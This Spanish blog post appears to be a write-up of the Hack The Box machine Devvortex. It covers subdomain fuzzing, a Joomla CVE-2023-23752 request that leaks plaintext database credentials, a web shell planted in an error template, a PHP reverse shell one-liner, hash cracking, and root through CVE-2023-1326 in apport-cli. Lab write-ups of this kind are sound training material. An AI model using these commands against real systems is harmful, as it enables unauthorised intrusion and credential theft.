Publicado el

HTB Devvortex. CTF EASY.

Introducción

Como comentaba unos días atrás, los próximos días subiré algunas de las máquinas que he conseguido la bandera en el CTF recientemente.

Hoy vamos a por la máquina Devvortex. Una máquina de Hack The Box (HTB) de nivel fácil.

¡Vamos a realizar enumeración de directorios web, enumeración de DNS, explotar la vulnerabilidad CVE-2023-23752 de un Joomla!, y finalmente la vulnerabilidad de CVE-2023-1326 de apport-cli

Enumeración

nmap -Pn --open -p- 10.10.11.242
nmap -Pn --open -p- 10.10.11.242
Blog Devvortex resultado nmap HTB

En esta exploración descubrimos el dominio devvortex.htb. Lo añadimos a /etc/hosts y vamos a explorar la web

Exploración

Encontramos una web simple, sin CMS ni nada. Aquí lanzamos un gobuster para enumerar directorios y archivos interesantes.... pero no encontramos nada interesante.

gobuster dir -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt
    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://devvortex.htb
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /css                  (Status: 301) [Size: 178] [--> http://devvortex.htb/css/]
    /images               (Status: 301) [Size: 178] [--> http://devvortex.htb/images/]
    /index.html           (Status: 200) [Size: 18048]
    /js                   (Status: 301) [Size: 178] [--> http://devvortex.htb/js/]
    Progress: 4723 / 4724 (99.98%)
    ===============================================================
    Finished
    ===============================================================

Vale, aquí parece que no hay nada interesante. Justo en este punto fue donde perdí más tiempo, buscando donde no tocaba. Hasta que termine buscando en el fórum de HTB 😅

Lo que no se me paso por la cabeza, es buscar subdominios... así que vamos a por ello.

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc 302,404 -H "Host: FUZZ.devvortex.htb" devvortex.htb
    ********************************************************
    * Wfuzz 3.1.0 - The Web Fuzzer                         *
    ********************************************************

    Target: http://devvortex.htb/
    Total requests: 4989

    =====================================================================
    ID           Response   Lines    Word       Chars       Payload                                                                                                                     
    =====================================================================

    000000019:   200        501 L    1581 W     23221 Ch "dev"

    Total time: 49.50947
    Processed Requests: 4989
    Filtered Requests: 4988
    Requests/sec.: 100.7685

Lo tenemos, añadimos el dominio dev.devvortex.htb a /etc/hosts y buscamos en la nueva web.

echo "dev.devvortex.htb" | sudo tee -a /etc/hosts

Buscando un poco encontramos el archivo robots.txt que este nos revela que estamos delante de un Joomla.

Mirando en http://dev.devvortex.htb/administrator/manifests/files/joomla.xml podemos encontrar que este sitio utiliza la versión 4.2.6

Buscando en San Google encontramos que esta versión es vulnerable CVE-2023-23752 y citando directamente encontramos que:

"As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system's configuration, which contains the Joomla! MySQL database credentials in plaintext."

Vamos a probar:

curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq
    [...]
     {
      "type": "application",
      "id": "224",
      "attributes": {
        "user": "lewis",
        "id": 224
      }                                                        
    },                                                       
    {                                
      "type": "application",                                    
      "id": "224",                                   
      "attributes": {     
        "password": "P4ntherg0t1n5r3c0n##",
        "id": 224                                                  
      }                                                        
    },

Fácil y para toda la familia. ¡Ya tenemos user+password de la base de datos y de "casualidad" para entrar en el Joomla! como admins. Es lo que tiene reciclar passwords, supongo.

Explotación

En hacerlo vemos que tenemos permisos de Administrador... lo cual podemos manipular las templates del mismo. Editamos la plantilla de error para inyectar comandos vía url.

En modificar la template de error, solo tenemos de visitar cualquier url del site que no exista + añadir parámetro 'cmd' en la URL. Por ejemplo así:

Vamos a levantar una shell remota y buscaremos en el MySQL de esta máquina (ya que tenemos sus credenciales)

php -r '$sock=fsockopen("10.10.14.6",4444);exec("bash <&3 >&3 2>&3");'

Nos conectamos al MySQL, y buscamos la tabla de usuarios en la database joomla

Nos guardamos el hash de "logan paul" en un archivo de nombre "hash" y ejecutamos nuestro amigo John para obtener su password.

Si miramos a '/etc/passwd' veremos que existe un usuario 'logan'.... probamos conexión vía SSH....y....pum... ya tenemos la primera flag

Elevación de privilegios

Mirando permisos de sudo, podemos ver esto:

sudo -l
    [...]
    User logan may run the following commands on devvortex:
      (ALL : ALL) /usr/bin/apport-cli

apport-cli es una herramienta de línea de comandos en Ubuntu que se utiliza para reportar y diagnosticar fallos y errores del sistema. Sirve para recopilar información detallada sobre fallos de aplicaciones o del sistema, lo que ayuda en la identificación y resolución de problemas. Permite a los usuarios enviar reportes de errores a los desarrolladores de Ubuntu de manera eficiente.

Buscando un poco por San Google encontramos la vulnerabilidad "CVE-2023-1326".

Esta vulnerabilidad permite a un atacante local (utilizando sudo) escalar privilegios executando un bash dentro del less que se utiliza como paginador.

Vamos a ejecutar el comando sudo /usr/bin/apport-cli -f y las siguientes opciones:

Y dentro del viewer (less) ejecutamos el !/bin/bash

Welcome root!